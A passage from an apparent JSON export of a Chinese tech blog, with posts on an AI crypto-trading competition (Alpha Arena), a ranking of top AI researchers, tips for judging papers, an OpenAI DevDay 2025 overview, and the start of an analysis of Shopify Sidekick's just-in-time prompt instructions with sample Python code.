等）"},{"content":"、\nNof1 Alpha Arena 的实时排行榜：展示不同 AI 模型在真实市场中进行加密货币交易的表现竞赛结果\nNof1.ai ●创始人：https://x.com/jay_azhang 创立了 Nof1，首个专注金融市场的 AI 研究实验室，背景横跨工程、金融与生物，曾将一支小型基金从 300 万做到 2000 万美金 AUM\n●https://x.com/jay_azhang 今日强调不发行代币，猜测未来可能转向 AI 基金模式或推出专业交易 AI 模型作为订阅服务。\nAlpha Arena 2025-10-18 启动，为每个参赛大模型（如 GPT-5、Gemini 2.5 Pro、Claude Sonnet 4.5、Grok-4、DeepSeek、Qwen3 Max）分配等额 1 万美金，在 Hyperliquid 上全自动交易永续合约，并按收益、胜率、Sharpe 等指标排名\n赛制与输入的已知细节 ●起始资金：每模型 $10,000\n●市场与交易所：Hyperliquid 加密永续合约\n●标的集合：站内面板显示 BTC/ETH/SOL/BNB/DOGE/XRP\n●统一提示与输入：相同 prompts + 相同输入数据（状态里含时间、账户 / 持仓、价格与指标）。\n●公开透明：官网公开成交、持仓与 “模型对话”，便于外部复核。\n●实时、无人值守：并非回测 / 纸面交易。\n查看 AI 模型具体战绩 钱包地址：\n●gemini：0x1b7a7d099a670256207a30dd0ae13d35f278010f\n●gpt5：0x67293d914eafb26878534571add81f6bd2d9fe06\n●qwen3：0x7a8fd8bba33e37361ca6b0cb4518a44681bad2f3\n●claude：0x59fa085d106541a834017b97060bcbbb0aa82869\n●grok：0x56d652e62998251b56c8398fb11fcfe464c08f84\n●deepseek：0xc20ac4dc4188660cbf555448af52694ca62b0734\nDeepSeek Grok Claude Qwen3 GPT-5 Gemini 它 “怎么运作” 可以把 Alpha Arena 想成一个极简的 “环境 - 智能体” 回路：\n1. 状态输入（环境→模型） 平台按固定节奏把当前时间、账户与持仓状态、实时价格 / 指标等上下文打包成结构化输入 + 统一提示词，喂给不同大模型；各家模型拿到的是相同的信息。\n用 DeepSeek 举例：\nUSER_PROMPT CHAINOFTHOUGHT 2. 决策与动作（模型→平台） 每个模型独立做出交易决策（如是否开/平仓、做多/做空、仓位大小等），平台把模型的决策解析为具体委托并在 Hyperliquid 实盘执行。全流程实时、无人干预，不是模拟撮合。\n3. 执行与记录（平台→公开面板） 成交、持仓与账户净值会回流到网页的 Completed Trades / Positions / Leaderboard；页面还提供 ModelChat 以便外界事后审阅模型在每次决策前后的对话记录（他们强调透明度）。\n4. 评估与排名（平台→指标） 除了原始 P\u0026amp;L，他们强调风险调整，目标设定为 “最大化风险调整后的收益”。\nAI 的使用原理 1.统一输入 / 统一提示词：为了可比性，所有模型吃到同一份上下文与提示词；这与许多学术基准 “同题同卷” 的精神一致。\n2.非平稳、对抗型环境：和静态 NLP / 推理基准不同，真实市场是动态与对抗的，能暴露 “幻觉”“过拟合历史样本” 等问题，因此更能检验模型在开放环境里的泛化与鲁棒性。\n3.以风险调整为目标：不是单看收益，而是看单位风险产出的超额（Sharpe 等），这迫使大模型在仓位、止损、持仓时长等维度做出权衡，而不是 “梭哈式” 极端行为。\n问题 ●样本期短 / 资金体量小：短期与小资金的排名不稳健，对可复制性、滑点与冲击成本的代表性有限\n●“同题同卷” 的一致性风险：若市场参与者观测并抄作业，可能诱发 同质化行为（“羊群效应”）；业内也有人担心 “共识化 AI 策略” 带来的同步风险。\n●评价口径仍在演化：他们强调 SharpeBench，但具体的风控边界 / 频率配额等细节页面上看没到。\nAI 交易，安全可控永远是第一位的。\n未来 如果时间线拉长，可能咱们绝大多数人 P 不过 AI，币圈以后的发展方向会不会 Cex 和 Dex 上只剩一堆 AI 策略在？\n","date":"2025-10-20T13:31:47Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-10-20-ai-di-yi-jie-chao-bi-da-sai-zheng-shi-kai-shi/cover.jpg","permalink":"/p/2025-10-20-ai-di-yi-jie-chao-bi-da-sai-zheng-shi-kai-shi/","title":"AI 第一界炒币大赛正式开始"},{"content":"Metis List 是一个实时更新的排行榜，列出了全球 100 位最杰出的 AI 研究人员。该榜单不仅关注学术成就，还综合考虑了影响力、创新性和跨学科贡献等因素。 (https://www.metislist.com/)\n排名前十的 AI 研究巨星 当前排名前十的研究者，每一位都是 AI 领域的传奇人物：\n1. Noam Shazeer- Google DeepMind 排名第一的是这位杜克大学毕业的天才，专注于注意力机制和大语言模型优化。他的工作对现代 transformer 架构产生了深远影响，是让 AI 变得更聪明的关键人物之一。\n2. Ilya Sutskever- SSI (Safe Superintelligence Inc.) 多伦多大学培养出来的 AI 巨星，OpenAI 的联合创始人和前首席科学家。他专注于深度学习和序列到序列模型，最近创立了专注于安全超级智能的新公司 SSI。\n3. Demis Hassabis- Google DeepMind 剑桥大学和 UCL 的学霸，DeepMind 的联合创始人兼 CEO。他将游戏 AI 的思路引入到通用人工智能研究中，AlphaGo、AlphaFold 等突破性成果都离不开他的领导。\n4. Dario Amodei- Anthropic CEO 这位斯坦福和普林斯顿的学霸现在是 Anthropic 的 CEO，也就是 Claude 的” 爸爸”。他最著名的贡献是在 AI 安全和对齐领域的开创性工作，致力于让 AI 变得更安全、更有用。\n5. John Schulman- Thinking Machines 强化学习领域的顶级专家，曾在 OpenAI 和 Anthropic 工作。如果你听说过 ChatGPT 的” 人类反馈强化学习”(RLHF) 技术，那你就得感谢他的贡献。\n6. Mark Chen- OpenAI MIT 毕业的技术天才，是 Codex（GitHub Copilot 背后的技术）和多模态 AI 的核心开发者。简单说，如果你用过 AI 写代码，很可能就在享受他的研究成果。\n7. Alec Radford- Thinking Machines 虽然没有博士学位，而且也很低调，但实际影响力巨大的研究者，是 GPT 架构和 CLIP 模型的主要创造者。可以说，现在几乎所有的大语言模型都建立在他的工作基础之上。\n8. Jared Kaplan- Anthropic 从哈佛物理学博士转身 AI 研究的传奇人物，在 AI 的” 缩放定律” 研究上贡献巨大，帮助我们理解如何让 AI 模型变得更强大。\n9. Shane Legg- Google DeepMind DeepMind 的联合创始人之一，新西兰人。他从一开始就专注于通用人工智能 (AGI) 的研究，是 AI 安全领域的先驱。\n10. Jeff Dean- Google Google 的传奇工程师，MapReduce、BigTable、TensorFlow 等重要技术的创造者。基本上，现代 AI 的基础设施很多都有他的贡献。\n前 100 位 twitter账号列表 对于关心 AI 发展方向的同学，可以在 X 上关注各位研究员，基本上你就能大概摸到 AI 行业的脉搏了\n以下列表中没有 twitter 账号的用其他能找到的地址补充，还有部分实在找不着～\n排名 名字 Twitter 1 Noam Shazeer https://x.com/NoamShazeer 2 Ilya Sutskever https://x.com/ilyasut 3 Demis Hassabis https://x.com/demishassabis 4 Dario Amodei https://x.com/DarioAmodei 5 John Schulman https://x.com/johnschulman2 6 Mark Chen https://x.com/markchen90 7 Alec Radford https://x.com/AlecRad 8 Jared Kaplan https://www.linkedin.com/in/jared-kaplan-645843213 9 Shane Legg https://x.com/ShaneLegg 10 Jeff Dean https://x.com/JeffDean 11 jakub pachocki https://x.com/merettm 12 Geoffrey Hinton https://x.com/geoffreyhinton 13 Chris Olah https://x.com/ch402 14 Noam Brown https://x.com/polynoamial 15 Paul Christiano https://x.com/paulfchristiano 16 julian schrittwieser https://x.com/Mononofu 17 Sergey Levine https://x.com/svlevine 18 andrew tulloch https://tullo.ch/about/ 19 Tom Brown https://x.com/nottombrown 20 nat mcaleese https://x.com/nmca 21 Andrej Karpathy https://x.com/karpathy 22 jerry tworek https://x.com/MillionInt 23 igor babuschkin https://x.com/ibab 24 Diederik P. Kingma https://x.com/dpkingma 25 David Silver https://davidstarsilver.wordpress.com/ 26 Quoc V. Le https://x.com/quocleix 27 wenda zhou https://x.com/zhouwenda 28 Pieter Abbeel https://x.com/pabbeel 29 tristan hume https://x.com/trishume 30 horace he https://x.com/cHHillee 31 sebastian borgeaud https://x.com/borgeaud_s 32 Alexander Kirillov https://x.com/alexkirillov_ 33 Chelsea Finn https://x.com/chelseabfinn 34 Alexander Kolesnikov https://x.com/kolesnikov 35 Yoshua Bengio https://x.com/Yoshua_Bengio 36 Nick Ryder https://github.com/NickRyder 37 Lukasz Kaiser https://x.com/lukaszkaiser 38 Lilian Weng https://x.com/lilianweng 39 Alexander Wei https://x.com/alexwei_ 40 Deli Chen https://x.com/victor207755822 41 hunter lightman https://x.com/HunterLightman 42 robert lasenby https://www.linkedin.com/in/robert-lasenby-78aa05257 43 Zhihong Shao https://x.com/zhs05232838 44 Timothy P. Lillicrap https://x.com/countzerozzz?lang=es 45 Prafulla Dhariwal https://x.com/prafdhar 46 Dan Hendrycks https://x.com/DanHendrycks 47 Amanda Askell https://x.com/AmandaAskell 48 Jimmy Ba https://x.com/jimmybajimmyba 49 Mostafa Dehghani https://x.com/m__dehghani 50 Shengjia Zhao https://x.com/shengjia_zhao 51 Barret Zoph https://x.com/barret_zoph 52 Sam McCandlish https://x.com/samsamoa 53 dan selsam https://github.com/dselsam 54 Jan Leike https://x.com/janleike 55 Yang Song https://x.com/DrYangSong 56 Tri Dao https://x.com/tri_dao 57 ethan perez https://x.com/EthanJPerez 58 Long Ouyang https://x.com/longouyang 59 Jeffrew Wu 60 Jurgen Schmidhuber https://x.com/schmidhuberai 61 Fei-Fei Li https://x.com/drfeifei 62 Naman Goyal https://x.com/NamanGoyal21 63 Rowan Zellers https://x.com/rown 64 jonas adler https://x.com/JonasAAdler 65 luke metz https://x.com/Luke_Metz 66 Nicholas Carlini https://x.com/yocarlini 67 Gottfried Wilhelm Leibniz 68 Percy Liang https://x.com/percyliang 69 Lucas Beyer https://x.com/giffmana 70 Sholto Douglas https://x.com/_sholtodouglas 71 Albert Gu https://x.com/_albertgu 72 zico kolter https://x.com/zicokolter 73 Eric Zelikman https://x.com/ericzelikman 74 eric mitchell https://x.com/ericmitchellai 75 Hongyu Ren https://x.com/ren_hongyu 76 Hyung Won Chung https://x.com/hwchung27 77 James Bradbury https://x.com/jekbradbury 78 Aidan Gomez https://x.com/aidangomez 79 Yi Tay https://x.com/YiTayML 80 christopher re 81 gb parascondolo https://x.com/giambattista92 82 rahul arya https://www.linkedin.com/in/rahul-arya 83 Xuezhi Wang https://www.linkedin.com/in/xuezhi-wang-8189b320 84 Leo Gao https://x.com/nabla_theta 85 Robin Rombach https://x.com/robrombach 86 Jack Rae https://x.com/jackwrae 87 Alex Graves 88 sami jaghouar https://x.com/samsja19 89 jonathan gordon https://x.com/gordonjo76 90 Ian Goodfellow https://x.com/goodfellow_ian 91 collin burns https://www.linkedin.com/in/collin-burns 92 Ryan Greenblatt https://x.com/RyanPGreenblatt 93 Sandhini Agarwal https://x.com/SandhiniAgarwal 94 Jon Barron https://x.com/jon_barron 95 Jacob Steinhardt https://x.com/JacobSteinhardt 96 Jiahui Yu https://x.com/jhyuxm 97 Wojciech Zaremba https://x.com/woj_zaremba 98 Christopher Hesse https://x.com/christophrhesse 99 raphael köster https://www.linkedin.com/in/raphael-koster-7b2077b1 100 christian szegedy https://x.com/ChrSzegedy ","date":"2025-10-15T06:15:13Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-10-15-ai-bai-da-yan-jiu-yuan-pai-xing-bang/cover.jpg","permalink":"/p/2025-10-15-ai-bai-da-yan-jiu-yuan-pai-xing-bang/","title":"AI 百大研究员排行榜"},{"content":"看被引用次数 比较简单粗暴，但好用，被引用的多了，自然值得关注。\n工具：Google Scholar（免费、覆盖广）\n但对于刚发的预印本还来不及积累引用的情况就不太适用了。\n看影响力质量而不是只看数量 通过 Semantic Scholar 的 Highly Influential Citations 看 “被引里有多少是高度影响（不是随口一提）”\n是否上过权威榜单/评测台 去 Papers with Code 看这篇（或同系工作）是否进入 SOTA 表格；很多任务有统一排行榜，能直观看到是否真压过强基线。 目前 Papers with Code 已并入 Hugging Face:https://huggingface.co/papers/trending\n“注意力热度” 作为早期信号 OpenAlex(https://openalex.org/) 能查近期新增引用与元数据，给你 “增长率” 而不是静态总量\n2 / 3 规则 满足下列任意两项就放进 Top 10：\n1.同主题近 6 个月被引增速靠前\n2.SOTA 性能与基准：如果该论文的实验结果在如 MTEB、BEIR 等基准中取得了 SOTA 或接近 SOTA 的成绩，说明该论文提出的方案在当前技术生态中具有较强的竞争力。\n3.GitHub + HF 同时在近 30 天明显上升（而不是一日游）\n最后一条 玄学：看个人经验 😄\n其他工具 Litmaps Litmaps 是一个专为学术研究人员设计的文献管理工具，尤其适用于文献的可视化管理和关系图谱构建。它通过图形化的方式帮助用户了解不同学术论文之间的联系和发展脉络，进而促进研究人员在特定领域内进行深入的文献综述与研究。\n","date":"2025-10-13T03:47:17Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-10-13-ru-he-kuai-su-pan-duan-lun-wen-shi-fou-zhi-de-yan-jiu/cover.jpg","permalink":"/p/2025-10-13-ru-he-kuai-su-pan-duan-lun-wen-shi-fou-zhi-de-yan-jiu/","title":"如何快速判断论文是否值得研究"},{"content":" 来源：https://openai.com/devday/ 本文我们针对 DevDay[2025] 中涉及的以下内容进行简要介绍\nApps in ChatGPT Apps in ChatGPT 是 OpenAI 推出的一种新型交互式应用程序，用户可以直接在 ChatGPT 平台内通过自然语言与这些应用进行对话，从而提升创作、学习和生产力。\n交互式应用集成 用户可以直接在 ChatGPT 对话中与新一代的应用程序进行交互。可以通过直接呼叫应用名称或在相关情境下由 ChatGPT 推荐来启动这些应用。这些应用拥有可在聊天中直接使用的交互式界面。\n自然语言启动 用户可以通过自然语言指令来使用应用。\n例如，直接对 Spotify 说 “Expedia 帮我订一张明天从北京飞往东京的机票”。\n例如，直接对 Canva 说: “Canva 请帮我做一个宠物商店的海报，要明亮背景”。\n开发者工具 (Apps SDK) OpenAI 发布了新的 Apps SDK（应用程序开发工具包）预览版，让开发者可以开始构建这些应用。该 SDK 是一个基于模型上下文协议（MCP）的开放标准。\nApps SDK 是开源的，文档和示例可在 https://developers.openai.com/apps-sdk 获取。对开发者来说，可触达超过 8 亿 ChatGPT 用户，并在未来实现变现。\n首批合作伙伴 ●首批上线的应用来自 Booking.com、Canva、Coursera、Expedia、Figma、Spotify 和 Zillow 等合作伙伴。\n●即将推出的合作伙伴包括 AllTrails、Peloton、OpenTable、Target、theFork、Uber 等，今年晚些时候上线。它们涵盖了旅行、食物外卖、教育、健身、零售和本地服务等类别，旨在使 ChatGPT 成为处理日常任务的更通用平台。\n安全与隐私 所有应用都必须遵守 OpenAI 的使用政策。在用户首次使用某款应用时，系统会提示用户进行连接，并明确告知哪些数据可能会被共享。\n未来规划 未来，OpenAI 计划将应用推广到商业版、企业版和教育版 ChatGPT，并开放应用提交通道，建立专门的应用目录。同时，还将公布关于应用变现的更多细节\nAgentKit AgentKit 是一套完整工具集，旨在帮助开发者和企业构建、部署和优化代理（agents）。它解决了代理开发中的碎片化问题，如复杂的编排、自定义连接器和手动评估管道。\n工作原理 AgentKit 提供了一套集成工具，用于简化创建和管理代理的过程。它包括视觉和编程界面，用于设计工作流、嵌入聊天体验以及评估性能，支持拖拽节点、版本控制和自动化优化。\n主要功能 Agent Builder 视觉画布，用于创建和版本化多代理工作流，支持拖拽节点、预览运行、内联评估配置，以及预构建模板。\n可通过 https://platform.openai.com/agent-builder/edit 访问使用。\n●截至 2025 年 10 月 7 日（当前日期），Agent Builder 暂不收费。计费将于 2025 年 11 月 1 日开始，在此之前不会产生任何费用。 这意味着在 beta 期间，你可以免费使用它，但使用过程中涉及的 API 调用（如调用模型）会按照标准 API 定价计算（不过目前整体免计费）。\n●从 11 月 1 日起，Agent Builder 的使用将基于 API 模型的查询定价，例如 GPT-4o 的搜索定价从每千查询 30 美元起。 定价和功能可能在从 beta 转向正式可用时调整。\n与 n8n 、Dify 的区别 以下表格对比三者的核心差异：\nAgent Builder 确实像 n8n 的 “克隆” 版，更注重 OpenAI 内部优化，而 n8n 更通用、集成强；Dify 则更 AI 导向，与 Agent Builder 在代理开发上最相似，但独立于 OpenAI。 如果用过 n8n 或 Dify，切换到 Agent Builder 可能很顺手，但取决于是否需要 OpenAI 的模型深度集成。Coze 危！\nConnector Registry 中央管理面板，用于管理 OpenAI 产品中的数据和工具连接，包括预构建连接器如 Dropbox、Google Drive、Sharepoint 和 Microsoft Teams，以及第三方 MCP。\nChatKit 不用自己建聊天 UI，就能做出专业级助手。和 OpenAI 的其他工具无缝连用。\n从整体定位看，ChatKit 作为 AgentKit 的一部分，专注于前端聊天界面的快速集成，降低了开发者构建 AI 驱动聊天应用的门槛。它强调无缝嵌入现有产品中，支持从简单聊天到复杂代理工作流的扩展，特别适合企业级应用。\n简单说就是帮你快速在网站或 App 里加一个聊天窗口，让用户能和 AI 聊天办事。它不是从零自己写代码，而是像搭积木一样，轻松嵌入现有的产品里。想象一下，你想在你的网站上加个 AI 助手，能帮用户问问题、上传文件、甚至调用其他工具解决问题 ——ChatKit 就是干这个的。\n怎么用？\nChatKit 有两种用法：\n1.简单方式（推荐）：用 OpenAI 的 “Agent Builder”（另一个工具，像画图一样设计 AI 的工作流程）先搭好后端逻辑，然后把 ChatKit 嵌入前端。OpenAI 帮你管服务器，不用自己操心。\n2.高级方式：如果你想自己控制一切，用 Python 代码在自家服务器跑 ChatKit，后端连你自己的 AI 系统。\n核心是，它提供现成的聊天界面：用户输入文字、上传文件，AI 回应，还能显示 AI 的 “思考过程”（比如一步步推理），让一切更透明。\n搭建步骤\n更详细内容参考：https://platform.openai.com/docs/guides/chatkit\n1.先搭 AI ：用 Agent Builder 设计 AI 的 “工作流程”（比如，如果用户问天气，就调用天气工具）。这步生成一个 ID。\n2.设置聊天窗口：在你的服务器上创建 “会话”（用代码生成一个安全令牌），然后在网站前端安装 ChatKit 的 React 组件（一种网页代码框架）。加几行代码，就能看到聊天框了。\n3.优化调整：试用后，改改外观、加自定义按钮，或优化 AI 的提示语，让它更聪明\nEvals Capabilities 新功能包括数据集、跟踪评分、自动化提示优化，以及第三方模型支持，用于测量和改进代理性能。\nReinforcement Fine-Tuning (RFT) 自定义工具调用和自定义评分器，用于增强模型推理，在 OpenAI o4-mini 上可用，并在 GPT-5 的私有 beta 中。\nSora 2 API Sora2 API 发布了，可以这样接入：\n1⚡ python片段from openai import OpenAI 2 3openai = OpenAI() 4 5video = openai.videos.create( 6 model=\u0026#34;sora-2\u0026#34;, 7 prompt=\u0026#34;A video of a cool cat on a motorcycle in the night\u0026#34;, 8) 9 10print(\u0026#34;Video generation started:\u0026#34;, video) 目前发布了两个模型：\n●sora-2\n●sora-2-pro\n区别是：\n总的来说，如果你只是玩玩或赶工，选 Sora 2；想出精品，Pro 更值。 两者都通过 API 或 app 用，内容有严格限制。\n使用指南 1.提交任务：用 POST /videos 接口发请求，带上模型（sora-2）、提示语、尺寸（如 1280x720）和时长（如 8 秒）。它会给你一个任务 ID。\n2.检查进度：用 GET /videos/{id} 轮询状态，或者设置 webhook（一种自动通知）来收完成或失败的消息。\n3.写好提示：要具体！比如描述镜头类型、主体、动作、场景和光线。比如：“广角镜头，一个小孩在草地公园放红风筝，金色夕阳光线，镜头慢慢向上摇。”\n4.内容限制：适合 18 岁以下观众，不能用版权角色或音乐，不能生成真人（包括名人），输入图片不能有脸（以后可能有例外）。\n5.用图片开头：可以上传图片作为第一帧，支持 JPEG、PNG、WebP 格式，但尺寸要匹配。\n6.改视频（Remix）：用已生成的视频 ID 和新提示，针对性调整，比如改颜色或加元素。最好一次只改一件事，避免乱套\nCodex 正式版发布 全球开发者爱用它，包括初创公司如 Duolingo 和 Vanta，大厂如 Cisco 和 Rakuten。甚至 OpenAI 自己内部，几乎所有工程师都靠它干活，比 7 月时多了 50%，每周合并的代码拉取请求（PR）多了 70%，几乎每个 PR 都自动审一遍。\n主要新功能有：\n●Slack 集成：直接在 Slack 频道或线程里扔任务，比如 “帮我修这个 bug”，它自动拉上下文、选环境、云端干活，然后发链接给你 —— 想合并代码或本地改，就点开继续。超方便，不用切工具。\n●Codex SDK：一个工具包，能把 Codex 嵌入你的自定义流程、App 或脚本里（现在支持 TypeScript，更多语言快来了）。它优化了结构化输出和上下文管理，还带 GitHub Action，帮你塞进 CI / CD 管道（比如自动测试代码）。\n●管理员工具：给企业用户的新面板，能管环境、监控使用、看分析仪表盘。比如删云环境、设安全默认值、跟踪 CLI/IDE/网页的使用情况。让大团队规模化用得安心。\n从 2025 年 10 月 6 日起，ChatGPT Plus、Pro、Business、Edu 和 Enterprise 用户都能用 Slack 集成和 SDK。管理员工具限 Business、Edu 和 Enterprise。从 10 月 20 日起，云任务开始算使用量（之前免费）。\nGPT-5 Pro GPT-5 Pro 是 OpenAI 的 GPT-5 系列的一个 “加强版” 模型，专为处理难题设计的。它用更多计算资源 “多想一会儿”，输出更准、更靠谱。不同于普通版，它只通过 Responses API 用，支持多轮对话和未来高级功能。现在（2025 年 10 月）正式可用。\n核心能力：\n●上下文窗口大：能记住 40 万个 token 的上下文（相当于超长对话），输出最多 27.2 万 token（长文没问题）。\n●支持模式：文字输入输出都行，图片只能输入（比如分析图），音频和视频暂不支持。\n●推理模式：默认 “高强度思考”（reasoning.effort: high），带推理 token 支持，让它一步步推导问题。\n●工具集成：能上网搜、搜文件、生成图片，还支持 MCP（模型控制面板）。但不支持代码解释器、电脑操作、流式输出、微调或蒸馏。\n●其他：支持函数调用和结构化输出，适合复杂任务。\n总之，它像个 “深度思考者”，不光聊天，还能帮你解难题，但专注文字和图片。\n定价:\n●文字 token：输入 $15/百万 token，输出 $120/百万 token（贵！比 GPT-5 的 $1.25/百万输入贵多了）。\n●其他：工具调用额外收费，详情看定价页。比 o3-pro（输入 $20）也贵，适合高价值任务。\nGPT-Realtime-Mini GPT-Realtime-Mini 是 OpenAI 的一个 “轻量级” 实时 AI 模型，简单说就是个能快速聊天的 “语音助手”，专为低成本、实时互动设计。它能听你说话（或看图片）、实时回复文字或语音，适合建语音 App、客服机器人或游戏对话。\n核心能力\n●实时互动：通过 WebRTC、WebSocket 或 SIP 连接，处理音频 / 文本输入，瞬间输出回应。像视频通话里的 AI 伙伴。\n●支持的东西：文本（输入/输出）、图像（只输入，比如描述图片）、音频（输入/输出，比如语音转文字或合成语音）。视频不支持。\n●记忆力：上下文窗口 32,000 tokens（够聊长对话），最大输出 4,096 tokens。\n●知识截止：到 2023 年 10 月 1 日（老了点，新事得靠工具补）。\n●其他：有 “快照” 版本，能锁住模型不乱变。没高级玩意儿如函数调用、结构化输出、微调或预测。\n定价（按百万 tokens）：\n●文本：输入 $0.60，缓存输入 $0.06，输出 $2.40。\n●音频：输入 $10，缓存 $0.30，输出 $20。\n●图像：输入 $0.80，缓存 $0.08。 总的贵在音频上，但比大模型便宜。\nGPT-Image-1-Mini GPT-Image-1-Mini 是 OpenAI 推出的一款 “经济实惠版” 图像生成模型，能用文字描述或现有图片快速生成或编辑图像。它是 GPT Image 1 的 “小弟”，更便宜、更高效，适合开发者嵌入到 App 里，比如设计工具或内容平台，不用花大钱就能玩转 AI 画图。\n核心能力：\n●生成新图：输入文字提示，就能吐出高质图片。比如 “一个可爱的猫咪在太空飞翔”，它会懂上下文，画出逼真或搞怪的图。\n●编辑旧图：支持 “补画”（inpainting），用面具遮住部分区域改内容，比如加东西、删元素或换颜色。还能用参考图复制风格，确保一致性。\n●输入输出：进货是文字 + 图片，出货是新图像。能调质量（低中高）、尺寸（比如 1024×1024 或长宽 1024×1536），还有 “输入保真度” 控制输出多像原图。\n定价按 “token” 算（图像也转 token），超便宜：\n●文字输入：$2 / 百万 token。\n●图像输入（编辑用）：$2.50 / 百万 token。\n●图像输出：$8 / 百万 token。 实际一图成本：1024×1024 的低质只要 $0.005，中 $0.011，高 $0.036；大尺寸稍贵点，到 $0.052。比大模型便宜多了！\n","date":"2025-10-07T04:46:54Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-10-07-openai-devday-2025-gai-lan/cover.jpg","permalink":"/p/2025-10-07-openai-devday-2025-gai-lan/","title":"OpenAI DevDay [2025] 概览"},{"content":"概述 本文是对 Shopify 应用机器学习总监 Andrew McNamara 的博客 《Building Production-Ready Agentic Systems: Lessons from Shopify Sidekick》的详细分析，主要包括 Shopify 在构建 agentic 系统时所面临的工程挑战与最佳实践。\nAndrew McNamara 在助手开发领域已有超过15年的经验。\nSidekick Sidekick 是什么 Sidekick 是 Shopify 官方内置的 AI 商务助理，嵌在你的 Shopify 管理后台（Admin）里，通过聊天对话来解答问题、给出操作指引、直接执行部分店铺任务（在你确认后），属于 Shopify 的 AI 体系 Shopify Magic 的核心能力之一。\nSidekick 能做什么 ●导航与操作指导：一句话让它带你到正确的后台页面，或给出分步操作卡片（如设置国际运费、连接域名等）。\n●内容生成与填写：在 Admin 的表单里直接帮你填文案（邮件、产品、集合、折扣等），填过的字段会高亮，便于你审核后应用。\n●营销与客户：用自然语言创建客户分群、折扣（金额/订单/免邮/买 X 送 Y）。\n●主题样式调整：在主题编辑器中按目标风格（如 “更复古”）建议并修改主题设置；你手动保存后生效。\n●数据洞察：生成简单报表 / 图表，甚至帮你写 ShopifyQL 查询来查看销售、访问等。\n●元数据管理：创建/更新 metafield 与 metaobject（比如新增/更新 “达人” 条目）。\n●应用发现与安装：在聊天里推荐、对比并发起安装合适的 App。\n●图片生成功能：根据文字 / 参考图生成横幅、海报素材。\n●移动端补充：在手机端也可用，并能引导完成 3D 扫描、条码打印、Tap to Pay 等移动相关任务。\n关键工程挑战与应对策略 Shopify 在开发其商家助手 Sidekick 过程中，遇到了多方面的工程挑战，包括系统可靠性、LLM 推理控制以及工具集成扩张带来的复杂性等。为打造可在生产环境稳定运行的智能代理，团队针对这些挑战提出了一系列解决方案和最佳实践。\n1. 工具集成扩张导致的复杂性激增 随着可用工具数量从不到 20 个增至 50 + 个，Agentic 系统的复杂度显著提高。早期（0-20 个工具）每个工具职责清晰，行为可预测；中期（20-50 个）工具边界开始模糊，工具组合出现意外结果；后期（50 + 个）不同工具可实现相同任务，系统行为难以推理和维护。这种现象被团队戏称为 “Death by a Thousand Instructions”（千指令之死）。\nSidekick 初期仅支持少量工具，系统行为简单可控。但随着功能扩展，集成的工具激增至数十个后，出现了工具集成的规模化挑战。工具数量越多，越容易出现职责重叠和边界不清的问题，多种工具路径可以实现相似任务，导致 Agent 难以选择最佳行动，行为开始变得不可预测。Shopify 团队发现，他们不得不在系统提示（system prompt）里堆叠大量针对各个工具和边缘情况的特殊指令，以致提示词变成了充满冲突规则和特例的 “大杂烩”。这种指令爆炸现象不仅拖慢了模型推理速度，也令系统几乎无法维护 。\n为应对这一复杂性挑战，Shopify 引入了 “Just-in-Time (JIT) 指令” 技术，即 按需即时注入指导。代替将所有工具使用说明和特殊规则预先塞入系统提示，他们改为在恰当的时机提供当前情境相关的指令。具体而言，Sidekick 会在每次工具调用前后动态地附加该工具所需的指导信息，并提供给 LLM，从而为每一步决策定制最精简完备的上下文。通过这种方法，模型在处理诸如 “查询多伦多客户” 这样的请求时，只会收到与 “数据查询” 相关的指令和工具信息；若用户请求撰写产品 SEO 描述，则只注入与 “内容生成” 和相应产品上下文有关的指导。JIT 指令让指导信息与工具数据同步出现，确保 “不多一字、不少一字” 地提供恰到好处的上下文 。\nJIT 思路的最小可运行示例：\n1⚡ python片段import hashlib, json, textwrap 2from typing import Dict, Any 3 4# 简化的 base prompt（短且稳定） 5BASE_PROMPT = \u0026#34;\u0026#34;\u0026#34;You are Sidekick, a helpful assistant. 6Core rules: 7- Be concise. 8- Don\u0026#39;t invent data. 9- If action requires DB or tool, return a JSON action object: {\u0026#34;action\u0026#34;:\u0026#34;tool_name\u0026#34;,\u0026#34;args\u0026#34;:{...}} 10\u0026#34;\u0026#34;\u0026#34; 11 12# 每个工具的 JIT 模板（放在配置文件里更好） 13TOOL_TEMPLATES = { 14 \u0026#34;db_query\u0026#34;: textwrap.dedent(\u0026#34;\u0026#34;\u0026#34; 15 TOOL: db_query 16 Purpose: Generate a safe, parameterized SQL query to satisfy the user request. 17 DB schema (customers): id:int, name:str, city:str, email:str, status:str 18 Rules: 19 1) Only use fields: id, name, email. 20 2) Always return a JSON object: {{ \u0026#34;sql\u0026#34;: \u0026#34;...\u0026#34;, \u0026#34;params\u0026#34;: {{}} }} 21 3) Do NOT embed variables directly — use parameter placeholders. 22 Example output: 23 {{ \u0026#34;sql\u0026#34;: \u0026#34;SELECT id,name,email FROM customers WHERE city = :city AND status = :status\u0026#34;, \u0026#34;params\u0026#34;: {{ \u0026#34;city\u0026#34;: \u0026#34;Toronto\u0026#34;, \u0026#34;status\u0026#34;:\u0026#34;ENABLED\u0026#34; }} }} 24 \u0026#34;\u0026#34;\u0026#34;), 25 \u0026#34;seo_write\u0026#34;: textwrap.dedent(\u0026#34;\u0026#34;\u0026#34; 26 TOOL: seo_write 27 Purpose: Produce SEO title and meta description for product. 28 Rules: 29 1) Tone: {tone} 30 2) Max meta length: {max_meta_chars} 31 3) Required keywords (inject): {keywords} 32 Return JSON: {{ \u0026#34;title\u0026#34;:\u0026#34;...\u0026#34;, \u0026#34;meta_description\u0026#34;:\u0026#34;...\u0026#34; }} 33 \u0026#34;\u0026#34;\u0026#34;) 34} 35 36# 假设的 LLM 调用口（替换为你们的 client） 37def llm_call(prompt: str) -\u0026gt; str: 38 # placeholder: 调用实际 LLM API，得到文本响应 39 return \u0026#39;{\u0026#34;action\u0026#34;:\u0026#34;db_query\u0026#34;,\u0026#34;args\u0026#34;:{\u0026#34;city\u0026#34;:\u0026#34;Toronto\u0026#34;,\u0026#34;status\u0026#34;:\u0026#34;ENABLED\u0026#34;}}\u0026#39; # 示例返回 40 41# Prompt 组装 42def assemble_prompt(user_query: str, chosen_tool: str, tool_vars: Dict[str,Any], context: str=\u0026#34;\u0026#34;) -\u0026gt; str: 43 tool_instr = TOOL_TEMPLATES[chosen_tool].format(**tool_vars) 44 prompt = 